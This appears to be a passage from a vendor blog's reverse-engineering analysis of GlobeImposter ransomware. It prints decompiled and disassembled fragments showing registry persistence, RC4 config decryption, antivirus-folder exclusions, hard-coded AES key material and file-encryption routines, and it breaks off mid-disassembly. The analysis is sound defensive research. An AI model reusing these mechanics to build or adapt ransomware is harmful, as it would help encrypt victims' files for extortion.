

# GlobeImposter ransomware: A holiday gift from the Necurs botnet

[acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet](https://acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet)



GlobeImposter ransomware

On December 26, 2017, the Necurs botnet delivered a late Christmas gift – the new version of Globelmposter ransomware [source]. Attached to spam messages as zip archives, the zip archive contains a JavaScript that downloads and installs ransomware on a victim's computer.

## Static Analysis

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The ransomware loader is supplied with the following icon:



GlobeImposter Ransomware Icon

The compilation timestamp tells the sample comes from 2016.

pFile	Data	Description	Value
000000DC	014C	Machine	IMAGE_FILE_MACHINE_I386
000000DE	0005	Number of Sections	
000000E0	584DCA43	Time Date Stamp	<u>2016/12/11 Sun 21:50:59 UTC</u>
000000E4	00000000	Pointer to Symbol Table	
000000E8	00000000	Number of Symbols	
000000EC	00E0	Size of Optional Header	
000000EE	010F	Characteristics	
	0001		IMAGE_FILE_RELOCS_STRIPPED
	0002		IMAGE_FILE_EXECUTABLE_IMAGE
	0004		IMAGE_FILE_LINE_NUMS_STRIPPED
	0008		IMAGE_FILE_LOCAL_SYMS_STRIPPED
	0100		IMAGE_FILE_32BIT_MACHINE

However, it was first seen in-the-wild on December 4, 2017 according to Virustotal (MD5: 2ca016fa98dd5227625befe9edfaba98).

## History ⓘ

Creation Time	2016-12-11 21:50:59
<u>First Seen In The Wild</u>	<u>2017-12-04 14:27:08</u>
First Submission	2017-12-26 15:18:58
Last Submission	2018-01-01 22:04:48
Last Analysis	2018-01-01 22:04:48

## Installation

To start itself after reboot:

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]

"BrowserUpdateCheck" = "C:\Users\<USER>\AppData\Roaming\  
<RANSOMWARE\_NAME>.exe"

```
if ( !result )
{
    v4 = 2048;
    RegQueryValueExW(v3, L"BrowserUpdateCheck", 0, 0, &v5, &v4);
    if ( lstrcmpiW(&v5, a1) )
    {
        if ( !RegCreateKeyExW(
            -2147483647,
            L"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
            0,
            0,
            1,
            131078,
            0,
            &v3,
            0) )
        {
            v2 = lstrlenW(a1);
            RegSetValueExW(v3, L"BrowserUpdateCheck", 0, 1, a1, 2 * v2);
        }
    }
    result = RegCloseKey(v3);
}
```

Then the Globelmposter creates the file

'AE09C984DF6E74640B3271EADB5DD7C65FDE806235B2CDA478E0EFA9129C09E7' in %All Users%, where the name of the file is the 256-bit RC4 key used to decrypt the Globelmposter's config:

```
82130978B25DC81D016B51240ECB1540E4801829D634DD429436926003C133EF998BE1BF33C8A1A15
85C7C260900E7BF715BED79654AFED90586186A854D2383E0576AD9E95B8955FE5B73354BC32388E8
862A95DA88C3DE42FC4957A6C0E50D7894327CCE346596F34507B9F45D376332764119B15C4BE866D
BB39D1CB00041
1B 5D 20 87 A2 2D F4 37 80 B8 5B FE AC 79 DE 5E
ED E5 88 7F FA 2C A5 46 EE D5 32 06 B9 1B 9D 27
A1 8F 0C 8F 1D E0 F9 E0 13 72 23 1A 28 D5 99 EE
C1 51 C1 C0 67 2F 0A 67 3A D2 B7 CE 0F F5 CF AC
19 4D 74 23 44 A5 2D A3 5A 59 56 0D D0 74 54 BF
48 21 45 FF 12 95 F1 B1 69 F3 BE 0E F7 16 7A DF
08 1A B1 F9 0E BD 1C 4F 08 47 B0 EB 28 EC FF F7
60 46 86 EB AC FA 53 56 B2 1C D3 27 B8 A0 3A EF
FB 5B 86 C3 99 F3 B4 09 BA 4C 92 B8 C4 5F 75 7B
E8 B0 70 E4 FB 5C 22 A3 C9 32 92 72 14 C5 C9 24
FD 2C 17 D1 B3 97 62 59 6C A9 23 CC 2E 61 7C 63
16 68 29 49 1F D0 D3 8C AC B9 15 34 40 94 D9 6E
0E 0A F2 0B 2C 2E AC AD EF F8 70 C6 CD D0 97 5C
6F D2 58 3F D6 A7 E4 7D 75 E8 AD 0D 0B AE 5C EA
B8 15 9A FE 8B 31 14 F0 43 6C CD 63 0A B8 E9 57
3C 1B 4A 65 D0 A9 3C 0B BD E6 13 C2 A8 89 8D 2F
```

# Decryption of the payload


The Globelmposter reads its encrypted image and decrypts itself by 32768(8000h)-byte blocks to the nsr3.tmp file in the %Temp% folder.

The screenshot displays a debugger interface with the following components:

- Assembly View:** Shows assembly instructions for the function `sub_40311A+E0`. The instruction at `004031FA` is `call DecryptPayload`, which is highlighted in blue. Other instructions include `push offset dword_40B878`, `mov dword_40B880, ebp`, `mov dword_40B884, 8000h`, `test eax, eax`, and `jl short loc_40326D`.
- Hex View-1:** Shows a hex dump of memory starting at address `004203CE`. The highlighted byte `7C` at offset `0042044E` corresponds to the `DecryptPayload` instruction in the assembly view.
- Hex View-2:** Shows another hex dump starting at address `0041CD86`. The highlighted byte `7C` at offset `0041CD96` is another instance of the `DecryptPayload` instruction.

It extracts the System.dll (MD5: 3f176d1ee13b0d7d6bd92e1c7a0b9bae) that is a part of .NET framework to '%Temp%\nsp4.tmp' folder.

Also, the Globelmposter drops the file 'LGU' which is 67653 bytes in size (MD5: eba731947245c854d71341a41de88260) with encrypted data to the Temp folder.



## Config decryption

The Globelmposter contains the string used to calculate the SHA256 hash, which is the key to extract the config data.

CONFIG\_KEY = SHA256

("B231B717113902E9F788C7BD0C7ABABAF9B173A7F6B432076B82CBCB7C8149F3C  
 F2F55A8CBDD772BFB4E0A319AE1ED45EB4AA6C4C6BAC6E11014BDD47D3BDDA0DC  
 19B7F217C8A1B33BCAE7681020436907BEC78F0E47AD285D72B8E5466C83114CC  
 40D44A081A604F05E2D147DFC3AEDD9A7B69D493176EFD7D8B0D264D1A2BFB14F  
 ECC1378A8D90547A2F6CA070E90F95FCAA54FA26FA5D63DC84C6C3780D4BB41BE  
 4B608343D72DDE52DE40A2A06D56482454F9DF058E65C3F02CBE1B77289F39EC5  
 BDBC58653A35476A205CD7C75A40D34ECFA56DA0A6433E141F0D9AC60DFBAA21E  
 8AEB5658168253A315F298EDBC7850D3D79BB1E15FEF367F5BD27BF8D" )

=

AE09C984DF6E74640B3271EADB5DD7C65FDE806235B2CDA478E0EFA9129C09E7

The GlobelImposter's payload decrypts its config, represented by the following C pseudo code:

```
v0 = AllocMem(32);
SHA256(
  (int)"B231B717113902E9F788C7BD0C7ABABAF9B173A7F6B432076B82CBCB7C8149F3CF2F55A8C
  0x200u,
  v0,
  0);
dword_40CFE8 = sub_40264F(1331152, 2048);
dword_40CFEC = sub_40264F(1333224, 2048);
dword_40CFE0 = sub_40264F(1335304, 2484);
unk_146008 = 0;
GetModuleFileNameW(0, 1331152, 2048);
GetEnvironmentVariableW(L"temp", 1333224, 2048);
DecryptConfig(v0, (int)dword_4013E0, 34, 0x200);
DecryptConfig(v0, (int)dword_401404, 38, 0x200);
dword_40CBC0 = sub_40968A((int)dword_4013E0, 0);
dword_40CBC8 = DecryptConfig_2((int)dword_401148, (int)&dword_40CBC4, v0, 661);
dword_40D098 = DecryptConfig_2((int)dword_401430, (int)&dword_40CA98, v0, 512);
if ( !GetEnvironmentVariableW(L"appdata", &v17, 2048) )
  goto LABEL_2;
lstrcatW(&v17, L"\\");
v1 = PathFindFileNameW(1331152);
lstrcatW(&v17, v1);
v2 = lstrcpw(1331152, &v17);
v16 = (int)&v17;
if ( v2 )
{
  LOBYTE(v3) = GetFileAttributes((int)&v17);
  if ( !v3 && !CopyFileW(1331152, &v17, 0) )
    goto LABEL_8;
  v16 = (int)&v17;
}
AddToAutorunKey(v16);
```

To decrypt the config data, GlobelImposter uses RC4 cipher with 256-bit key.

```

0040A315 RC4_DecryptConfig proc near
0040A315
0040A315 arg_0= dword ptr 8
0040A315 arg_4= dword ptr 0Ch
0040A315 arg_8= dword ptr 10h
0040A315 arg_C= dword ptr 14h
0040A315
0040A315 push ebp
0040A316 mov ebp, esp
0040A318 push esi
0040A319 push [ebp+arg_C]
0040A31C push [ebp+arg_0]
0040A31F call RC4_KSA
0040A324 xor esi, esi
0040A326 cmp [ebp+arg_8], esi
0040A329 jle short loc_40A33E

```

```

0040A32B push edi
0040A32C mov edi, [ebp+arg_4]

```

```

0040A32F
0040A32F loc_40A32F:
0040A32F call RC4_PRGA
0040A334 xor [esi+edi], al
0040A337 inc esi
0040A338 cmp esi, [ebp+arg_8]
0040A33B jl short loc_40A32F

```

```

004013B0 F4 DD 01 EE 79 14 C3 CD DD 4F BA D6 5A F0 C7 95
004013C0 7A 12 4F AC 68 FE 91 2D 2C EC 56 47 93 5D 9F BB
004013D0 F5 DF 8B CB 2B B5 7B 37 73 C5 06 C4 47 00 00 00
004013E0 2E 2E 64 6F 63 00 52 65 61 64 5F 5F 5F 4D 45 2E
004013F0 68 74 6D 6C 00 32 3A 3C 51 E8 84 79 77 56 17 46
00401400 7F 00 00 00 7A EB 78 E2 80 F3 70 ED 1B 51 03 B9
00401410 4A 0E F5 65 43 2A 35 9E 66 4C 2E 04 0E BB D8 08
00401420 6C 2B 06 57 02 00 A7 3D 6E 83 00 00 00 00 00
00401430 06 A0 7D E9 BC AC 7F 9A 02 4F 5B 91 06 43 D4 6A
00401440 4C 6F 7B D6 47 37 35 73 1F A0 C6 5C 24 66 43 13
00401450 51 10 BB 2D 74 93 29 25 49 2A F3 85 2E C8 26 A7
00401460 A7 24 A1 38 E5 12 76 1A 2A 86 AD D3 A5 11 E7 20
00401470 FC 40 8B E1 17 12 25 56 F1 B9 B4 4B C8 51 61 B4
00401480 F0 D4 C8 F8 1B C4 55 8A 14 3B 3B FD 01 75 46 DE
00401490 74 30 A9 28 C3 87 C0 12 AA E8 D3 CC 71 B4 26 A5
004014A0 5D 8C 32 69 B6 11 DE 22 3C 4E 9B 25 F7 D5 C3 C8
004014B0 F7 D5 50 1D F5 F0 2C 89 39 8E 35 EC 2A CD A8 46
004014C0 AD CD 6D C3 F7 F3 CA DE A3 F6 50 95 ED 34 B1 EE
004014D0 F1 20 55 BA A1 A1 88 96 BC 01 B9 21 40 1E 2D E6
004014E0 31 83 8B E1 4E 90 15 6B E2 B4 AB 30 1E 14 AC ED
004014F0 D7 BB 23 B9 0F 52 6E 08 8D 4B 91 86 0A 92 DA CE
00401500 81 F9 E5 0E 7A 6B 2B AE 42 14 DE 47 9C F2 EF 29
00401510 57 A5 DC F0 4A 42 3B 5A BD 19 3A 9B 58 1F 43 62
00401520 82 F6 01 CB F1 6C D3 80 92 14 CF 4E E8 8E 6A 46
00401530 4E 20 EC 8A 2F C8 5A 8E FD 79 3E 17 E7 97 19 47
00401540 00 46 57 85 EB 26 2B AF ED E4 BE D7 41 02 3E 36
00401550 BD 5B 5C 67 3D 2B 84 80 E8 96 60 E7 1C 1B 60 BF
00401560 BB C5 15 24 C5 CA C6 0E 4A C8 70 65 2D 40 80 B4
00401570 BA EB EC C9 49 D0 47 65 FF EF 05 24 61 70 38 3D
00401580 78 45 52 CB D5 A6 AE F0 BF D6 23 4C 28 54 85 81
00401590 8C FC 5A 5C 51 C1 F9 4C 1B 98 02 58 47 75 A7 BF
004015A0 4C DB F1 C6 59 31 F1 54 22 9C 99 E6 DA 73 37 2B
004015B0 25 D8 67 32 E3 92 7D 50 05 38 D4 83 B4 A6 07 D5

```

```

({.eg.+-!0!+Z=|ò
z_0%k|æ-,8UGô]M+
)---+{|7s+.-G...
..doc.Read__ME.
html.2:<QFãüwU.F
....zdxGÇ=pF.Q.+.
J.)eC*5PFL...+.
1+.M..e=nâ.....
.â)T+%.ü.0[æ.C+j
Lo{+G75%.á;|\$FC.
Q,+tô)%I*=â.+&e
â$!8s.u.*â;+N.t
-@+B..%Z+!|K+Qa|
+!°.-+ê.;;+.uF|
t0--+ç+.-F+|q!&N
]i2i|.!'<N%#M+++
M+P.)=,è9â58*~;m
;+m+M=-!ú:Pðf4|e
±+U|iîêü+.|@.-µ
1âÏDN..KG|½0..%F.
++#|.Rn..Kæâ.æ++
.-s.zk+æB.|GE=n)
WÑ=JB;Z+.:çX.Cb
é;.-±1+çæ.-NFâjF
N-8è/+Zâ'y>.tù.G
.FWâd&+FS+++A.>6
+[\g+.-çFû`t..`+
++.$+.-J+pe-@Ç|
|d8+I-Ge-n.$ap8=
xER+âæ<+H(L(T|.
î=Z\Q-.-L.j.XGu9+
L|±!Y0±T!EÛµ+s7+
%+g2pæ}P.8+â;+&+

```

Once decrypted, the extracted config looks as follows:

```

00401290 69 63 72 6F 73 6F 66 74 2E 4E 45 54 00 49 6E 74 icrosoft.NET.Int
004012A0 65 72 6E 65 74 20 45 78 70 6C 6F 72 65 72 00 4B ernet-Explorer.K
004012B0 61 73 70 65 72 73 6B 79 20 4C 61 62 00 4D 63 41 aspersky-Lab.McA
004012C0 66 65 65 00 41 76 69 72 61 00 73 70 79 74 65 63 fee.Avira.spytec
004012D0 68 20 73 6F 66 74 77 61 72 65 00 73 79 73 63 6F h-software.sysco
004012E0 6E 66 69 67 00 41 76 61 73 74 00 44 72 2E 57 65 nfig.Avast.Dr.We
004012F0 62 00 53 79 6D 61 6E 74 65 63 00 53 79 6D 61 6E b.Symantec.Syman
00401300 74 65 63 5F 43 6C 69 65 6E 74 5F 53 63 63 75 72 tec_Client_Secur
00401310 69 74 79 00 73 79 73 74 65 6D 20 76 6F 6C 75 6D ity.system-volum
00401320 65 20 69 6E 66 6F 72 6D 61 74 69 6F 6E 00 41 56 e-information.AU
00401330 47 00 4D 69 63 72 6F 73 6F 66 74 20 53 68 61 72 G.Microsoft-Shar
00401340 65 64 00 43 6F 6D 6D 6F 6E 20 46 69 6C 65 73 00 ed.Common-Files.
00401350 4F 75 74 6C 6F 6F 6B 20 45 78 70 72 65 73 73 00 Outlook-Express.
00401360 4D 6F 76 69 65 20 4D 61 6B 65 72 00 43 68 72 6F Movie-Maker.Chro
00401370 6D 65 00 4D 6F 7A 69 6C 6C 61 20 46 69 72 65 66 me.Mozilla-Firef
00401380 6F 78 00 4F 70 65 72 61 00 59 61 6E 64 65 78 42 ox.Opera.YandexB
00401390 72 6F 77 73 65 72 00 6E 74 6C 64 72 00 57 73 75 rowser.ntldr.Wsu
004013A0 73 00 50 72 6F 67 72 61 6D 44 61 74 61 00 2E 24 s.ProgramData..$
004013B0 65 72 2C 2E 34 64 62 2C 2E 34 64 64 2C 2E 34 64 er,.4db,.4dd,.4d
004013C0 2C 2E 34 6D 70 2C 2E 61 62 73 2C 2E 61 62 78 2C ,.4mp,.abs,.abx,
004013D0 2E 61 63 63 64 62 2C 2E 61 63 63 64 63 00 00 00 .accdb,.accdc...
004013E0 2E 2E 64 6F 63 00 52 65 61 64 5F 5F 5F 4D 45 2E ..doc.Read__ME.
004013F0 68 74 6D 6C 00 2E 2E 64 6F 63 00 50 3A 5C 30 30 html...doc.P:\00
00401400 5C 21 00 00 52 65 61 64 5F 5F 5F 4D 45 2E 68 74 \!..Read__ME.ht
00401410 6D 6C 00 2E 2E 64 6F 63 00 50 3A 5C 30 30 5C 21 ml...doc.P:\00\!
00401420 21 21 21 21 21 21 2B 21 2B 21 00 00 00 00 00 00 !!!!!!!+!+!.....
00401430 2E 2E 64 6F 63 00 50 3A 5C 30 30 5C 21 21 21 21 ..doc.P:\00\!!!!
00401440 21 21 21 2B 21 2B 21 2B 21 2B 42 75 69 6C 64 65 !!!!!!!+!+!+Builde
00401450 72 31 37 31 31 31 30 5C 70 61 74 63 68 2E 74 6D r171110\patch.tn
00401460 70 00 00 00 1A 1B BB 3B 75 36 00 08 90 2B 04 00 p.....+;u6....+..
00401470 B0 2B 04 00 D0 2B 04 00 F0 2B 04 00 10 2C 04 00 |+...-+...+.....,
00401480 30 2C 04 00 50 2C 04 00 70 2C 04 00 90 2C 04 00 0,..P,..p,.....

```

The config contains:

The folder exclusions list



*Windows, Microsoft, Microsoft Help, Windows App Certification Kit, Windows Defender, ESET, COMODO, Windows NT, Windows Kits, Windows Mail, Windows Media Player, Windows Multimedia Platform, Windows Phone Kits, Windows Phone Silverlight Kits, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsPowerShell, Temp, NVIDIA Corporation, Microsoft.NET, Internet Explorer, McAfee, Avira, spytech software, sysconfig, Avast, Dr.Web, Symantec, Symantec\_Client\_Security, system volume information, AVG, Microsoft Shared, Common Files, Outlook Express, Movie Maker, Chrome, Mozilla Firefox, Opera, YandexBrowser, ntlldr, Wsus, ProgramData.*

The file extensions exclusion list

`.$er,.4db,.4dd,.4d,.4mp,.abs,.abx,.accdb,.accdc`

The string to be added as an extension to encrypted files. The string already contains a dot which means the encrypted file will look like: 'picture.png..doc'.

`.doc`

The file name with the ransom note

`Read___ME.html`

Another 512 bytes of data of unknown purpose mostly filled with zeros

The last decrypted block is a ransom note:



```

68     v8 = CreateKeyFile(v6);
69     if ( v8 )
70     {
71         --v7;
72         Sleep(1000);
73     }
74 }
75 while ( v7 > 0 && v8 );
76 if ( v7 < 1
77     || (v9 = AllocMem(3466),
78         ZeroMemory(v9, 0, 3466),
79         sub_4024E8(v9, (int)&word_40D74A, 3466),
80         DecryptConfig(v0, v9, 3466, 0x200),
81         (v10 = StrStrA(v9, "{<IDENTIFIER>}")) == 0 ) )
82 LABEL_2:
83     ExitProcess(1);
84     v11 = lstrlenA("{<IDENTIFIER>}");

```

0000921C | 80

---

Hex View-1

0014D508	00 00 00 00 00 00 00 00	B5 01 28 01 12 07 1E 00	.....!.(.....
0014D518	3C 21 44 4F 43 54 59 50	45 20 48 54 4D 4C 20 50	<!DOCTYPE-HTML-P
0014D528	55 42 4C 49 43 20 22 2D	2F 2F 57 33 43 2F 2F 44	UBLIC-'-//W3C//D
0014D538	54 44 20 48 54 4D 4C 20	34 2E 30 31 2F 2F 45 4E	TD-HTML-4.01//EN
0014D548	22 20 22 68 74 74 70 3A	2F 2F 77 77 77 2E 77 33	""http://www.w3
0014D558	2E 6F 72 67 2F 54 52 2F	68 74 6D 6C 34 2F 73 74	.org/TR/html4/st
0014D568	72 69 63 74 2E 64 74 64	22 3E 0D 0A 3C 68 74 6D	rict.dtd">..<htm
0014D578	6C 3E 0D 0A 20 20 3C 68	65 61 64 3E 0D 0A 20 20	l>...<head>..
0014D588	20 20 3C 6D 65 74 61 20	63 68 61 72 73 65 74 3D	--<meta-charset=
0014D598	22 75 74 66 2D 38 22 3E	0D 0A 20 20 20 20 3C 74	"utf-8".....<t
0014D5A8	69 74 6C 65 3E 64 66 74	77 3C 2F 74 69 74 6C 65	itle>dftw</title
0014D5B8	3E 0D 0A 20 20 3C 2F 68	65 61 64 3E 0D 0A 20 20	>...</head>..
0014D5C8	3C 62 6F 64 79 3E 0D 0A	3C 63 65 6E 74 65 72 3E	<body>..<center>
0014D5D8	0D 0A 3C 62 72 3E 0D 0A	20 20 20 20 3C 64 69 76	.. .....<div
0014D5E8	3E 3C 68 32 3E 59 6F 75	72 20 66 69 6C 65 73 20	><h2>Your files
0014D5F8	61 72 65 20 45 6E 63 72	79 70 74 65 64 21 3C 2F	are Encrypted!</
0014D608	68 32 3E 3C 2F 64 69 76	3E 0D 0A 3C 64 69 76 3E	h2></div>..<div>
0014D618	0D 0A 3C 64 69 76 3E 46	6F 72 20 64 61 74 61 20	..<div>For data
0014D628	72 65 63 6F 76 65 72 79	20 6E 65 65 64 73 20 64	recovery needs d

The list of the processes to be terminated is stored outside of the encrypted config, in the payload body.

### Key file

The ransomware loads the hard-coded 256-bit key (HCK265) from itself, which is used to generate AES key and IV for files encryption:

```

67 E6 09 6A 85 AE 67 BB 72 F3 6E 3C 3A F5 4F A5
7F 52 0E 51 8C 68 05 9B AB D9 83 1F 19 CD E0 5B

```

```

00408B0B LoadKey proc near
00408B0B
00408B0B arg_0= dword ptr 4
00408B0B arg_4= dword ptr 8
00408B0B
00408B0B mov     eax, [esp+arg_0]
00408B0F mov     ecx, [esp+arg_4]
00408B13 and     dword ptr [eax], 0
00408B16 and     dword ptr [eax+4], 0
00408B1A test    ecx, ecx
00408B1C jnz    short loc_408B58

```

```

00408B1E mov     dword ptr [eax+8], 6A09E667h
00408B25 mov     dword ptr [eax+0Ch], 0BB67AE85h
00408B2C mov     dword ptr [eax+10h], 3C6EF372h
00408B33 mov     dword ptr [eax+14h], 0A54FF53Ah
00408B3A mov     dword ptr [eax+18h], 510E527Fh
00408B41 mov     dword ptr [eax+1Ch], 9B05688Ch
00408B48 mov     dword ptr [eax+20h], 1F8D9ABh
00408B4F mov     dword ptr [eax+24h], 5BE0CD19h
00408B56 jmp     short loc_408B90

```

```

00408B58 loc_408B58:
00408B58 mov     dword ptr [eax+8], 0C1059ED8h
00408B5F mov     dword ptr [eax+0Ch], 367CD507h
00408B66 mov     dword ptr [eax+10h], 3070DD17h
00408B6D mov     dword ptr [eax+14h], 0F70E5939h
00408B74 mov     dword ptr [eax+18h], 0FFC00B31h
00408B7B mov     dword ptr [eax+1Ch], 68581511h
00408B82 mov     dword ptr [eax+20h], 64F98FA7h
00408B89 mov     dword ptr [eax+24h], 0BEFA4FA4h


```

```

00408B90
00408B90 loc_408B90:
00408B90 mov     [eax+68h], ecx
00408B93 retn   8
00408B93 LoadKey endp

```

The key file with the session keys is created in %All users%. The name of the file is the config decryption key.



The key file contains auxiliary data that can be used to decrypt the user's files. The values are encrypted using AES-256-CBC six times with different IVs.

```

00406AE8
00406AE8 loc_406AE8:
00406AE8 mov     [esp+eax+328h+var_2D8], al
00406AEC inc     eax
00406AED cmp     eax, 20h
00406AF0 jl     short loc_406AE8

00406AF2 push   100h
00406AF7 lea   eax, [esp+32Ch+var_2D8]
00406AFB push   eax
00406AFC lea   eax, [esp+330h+var_1]
00406B03 push   eax
00406B04 call  AESKeyExpansion256
00406B09 xor    ebx, ebx

00406B0B
00406B0B loc_406B0B:
00406B0B xor    eax, eax
00406B0D lea   edi, [esp+328h+var_1]

```

00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F
10	11	12	13	14	15	16	17	18	19	1A	1B	1C	1D	1E	1F
00	00	00	01	00	00	00	00	00	00	00	00	00	00	00	00
00	00	00	2B	00	00	00	30	17	8C	59	43	6D	36	C0	8C
E1	97	33	BE	B4	BD	44	49	38	38	39	99	F5	6D	A2	7E
E8	7D	C0	D0	16	03	73	6A	72	73	61	5F	65	6E	63	72
79	70	74	80	00	00	00	00	00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00

**AES key** .....

**IVs** ...0.îYcm6+î  
0ù3+!+DI889Û)mó~  
F}+-..sjrsa\_encr  
yptÇ.....

## File encryption

The Globelmposter ransomware encrypts local, removable, and network drives in parallel by running multiple threads. Once the key file is created in %All Users%, it starts a new thread for every available drive type to encrypt files on.

```

.rdata:004099E0 push    eax
.rdata:004099E1 lea    eax, [esp+274h]
.rdata:004099E8 push    eax
.rdata:004099E9 call   FindFirstFileW
.rdata:004099EF mov    ebp, eax
.rdata:004099F1 cmp    ebp, 0FFFFFFFh
.rdata:004099F4 jz     loc_409B7B
.rdata:004099FA
.rdata:004099FA loc_4099FA:
.rdata:004099FA push    offset a_
.rdata:004099FF lea    eax, [esp+50h]
.rdata:00409A03 push    eax
.rdata:00409A04 call   esi ; lstrcmpiW
.rdata:00409A06 test   eax, eax
.rdata:00409A08 jz     loc_409B60
.rdata:00409A0E push    offset a_
.rdata:00409A13 lea    eax, [esp+50h]
.rdata:00409A17 push    eax

```

Before encryption, it checks:

- if the last five letters of the current file's name to '..doc'
- if the file name is equal to 'Read\_\_\_ME.html'
- if the file name is equal to the key file name  
'AE09C984DF6E74640B3271EADB5DD7C65FDE806235B2CDA478E0EFA9129C09E7'
- if the file name is equal to the ransomware file name

```

004095EE push    esi
004095EF push    [esp+18h+arg_0]
004095F3 sub     edi, eax
004095F5 call   lstrlenA
004095FB add     eax, edi
004095FD push    eax
004095FE call   lstrcmpiA
00409604 test   eax, eax
00409606 jz     short loc_409643

```

eax=debug009:001491FF

db	43h	; C
db	2Eh	; -
db	42h	; B
db	41h	; A
db	54h	; T
dh	A	

To encrypt the user's files, the ransomware uses an AES-256-CBC algorithm with no padding.


```

1. v3 = a1;
2. v4 = *(DWORD*)(a1 + 4);
3. v5 = *(DWORD*)v4 ^ (*(BYTE*)a2 | (*(BYTE*)(a2 + 1) | (*(BYTE*)(a2 + 2) | (*(BYTE*)(a2 + 3) << 8) << 8));
4. v32 = *(DWORD*)v4 ^ (*(BYTE*)a2 | (*(BYTE*)(a2 + 1) | (*(BYTE*)(a2 + 2) | (*(BYTE*)(a2 + 3) << 8) << 8));
5. v6 = *(DWORD*)(v4 + 4) ^ (*(BYTE*)(a2 + 4) | (*(BYTE*)(a2 + 5) | (*(BYTE*)(a2 + 6) | (*(BYTE*)(a2 + 7) << 8) << 8));
6. v4 += 8;
7. v35 = *(DWORD*)v4 ^ (*(BYTE*)(a2 + 8) | (*(BYTE*)(a2 + 9) | (*(BYTE*)(a2 + 10) | (*(BYTE*)(a2 + 11) << 8) << 8));
8. v33 = v6;
9. v4 += 4;
10. v7 = *(DWORD*)v4 ^ (*(BYTE*)(a2 + 12) | (*(BYTE*)(a2 + 13) | (*(BYTE*)(a2 + 14) | (*(BYTE*)(a2 + 15) << 8) << 8));
11. v8 = v4 + 4;
12. v37 = v7;
13. for ( i = *(DWORD*)v3 >> 1 - 1; i > 0; --i )
14. {
15. v9 = *(DWORD*)v8 ^ dword_40A970[(unsigned __int8)v5] ^ dword_40B570[v37 >> 24] ^ dword_40AD70[(unsigned __int16)v33 >> 8] ^ dword_40B170[(unsigned int)v35 >> 16] & 0xFF;
16. v10 = v8 + 4;
17. v11 = v9;
18. v12 = *(DWORD*)v10 ^ dword_40A970[(unsigned __int8)v33] ^ dword_40B570[(unsigned int)v5 >> 24] ^ dword_40AD70[(unsigned __int16)v35 >> 8] ^ dword_40B170[(v37 >> 16) & 0xFF];
19. v10 += 4;
20. v13 = v12;
21. v14 = *(DWORD*)v10 ^ dword_40A970[(unsigned __int8)v35] ^ dword_40B570[v33 >> 24] ^ dword_40B170[(unsigned int)v5 >> 16] & 0xFF ^ dword_40AD70[(unsigned __int16)v37 >> 8];
22. v10 += 4;
23. v15 = *(DWORD*)v10 ^ dword_40A970[(unsigned __int8)v37] ^ dword_40B570[(unsigned int)v35 >> 24] ^ dword_40AD70[(unsigned __int16)v32 >> 8] ^ dword_40B170[(v33 >> 16) & 0xFF];
24. v10 += 4;
25. v16 = *(DWORD*)v10 ^ dword_40A970[(unsigned __int8)v11] ^ dword_40B570[(unsigned int)v15 >> 24] ^ dword_40AD70[(unsigned __int16)v12 >> 8] ^ dword_40B170[(unsigned int)v14 >> 16] & 0xFF];
26. v10 += 4;
27. v32 = v16;
28. v17 = *(DWORD*)v10 ^ dword_40A970[(unsigned __int8)v13] ^ dword_40B570[v11 >> 24] ^ dword_40AD70[(unsigned __int16)v14 >> 8] ^ dword_40B170[(unsigned int)v15 >> 16] & 0xFF];
29. v10 += 4;
30. v33 = v17;
31. v35 = *(DWORD*)v10 ^ dword_40A970[(unsigned __int8)v14] ^ dword_40B570[v13 >> 24] ^ dword_40B170[(v11 >> 16) & 0xFF] ^ dword_40AD70[(unsigned __int16)v15 >> 8];
32. v10 += 4;
33. v18 = dword_40B570[(unsigned int)v14 >> 24] ^ dword_40AD70[(unsigned __int16)v11 >> 8] ^ dword_40B170[(v13 >> 16) & 0xFF];
34. v5 = v32;
35. v19 = *(DWORD*)v10 ^ dword_40A970[(unsigned __int8)v15] ^ v18;
36. v8 = v10 + 4;
37. v37 = v19;
38. }

```

To encrypt a file, the GlobelImposter ransomware calculates IV (16 bytes) and AES key (32 bytes) based on the hardcoded 32-byte key (HCK256) mentioned above.

Calculating AES 16-byte IV to encrypt a file:



AES IV for file encryption is the first 16 bytes of the hash calculated using a modified SHA-256 algorithm from the HCK256.

```

do
{
  if ( v3 >= 0x10 )
  {
    v6 = *(&v38 + v3);
    v7 = v27[v3];
    v8 = __ROL4__(v6, 15);
    v9 = __ROL4__(*(&v38 + v3), 13);
    v10 = (v6 >> 10) ^ v9 ^ v8;
    v11 = __ROL4__(v7, 7);
    v12 = __ROL4__(v27[v3], 14);
    v40[v3] = *(&v33 + v3) + *(&v26 + v3) + ((v7 >> 3) ^ v11 ^ v12) + v10;
  }
  else
  {
    v40[v3] = *(_BYTE*)(v2 + 1) | ((*_BYTE*)v2 | ((*_BYTE*)(v2 - 1) | (*_BYTE*)(v2 - 2) << 8) << 8) << 8);
  }
  v13 = __ROR4__(v4, 11);
  v14 = __ROL4__(v4, 7);
  v15 = v14 ^ v13;
  v16 = __ROR4__(v38, 13);
  v17 = __ROR4__(v4, 6);
  v18 = v37 + v40[v3] + dword_401C50[v3] + (v36 ^ v4 & (v36 ^ v5)) + (v17 ^ v15);
  v28 += v18;
  v19 = __ROL4__(v38, 10);
  v20 = v19 ^ v16;
  v21 = __ROR4__(v38, 2);
  v37 = v36;
  v22 = (v21 ^ v20) + v18 + (v32 & (v38 | v31) | v38 & v31);
  ++v3;
  v36 = v5;
  v2 = v29 + 4;
  v33 = v32;
  v5 = v4;
  v4 = v28;
  v28 = v32;
}

```

The last byte of IV is substituted with the four least significant bits of the size of the file to be encrypted:

IV[15] = File size & 8000000Fh

```

00409259 movsd
0040925A and    eax, 8000000Fh
0040925F jns    short loc_409266

```

eax=000000AA

The AES 32-byte key is generated based on hashing HCK256 with two different SHA256-like functions run in the loop 8192 times:

```

00409294 mov     esi, [esp+21E8h+var_21B8]
00409298 mov     edi, 2000h

```

```

0040929D
0040929D loc_40929D:
0040929D lea     eax, [esp+21E8h+var_21C8]
004092A1 push    eax
004092A2 call    LoadHCKey_0
004092A7 push    20h
004092A9 lea     eax, [esp+21ECh+var_21A0]
004092AD push    eax
004092AE lea     eax, [esp+21F0h+var_21C8]
004092B2 push    eax
004092B3 call    HashFunc1
004092B8 push    esi
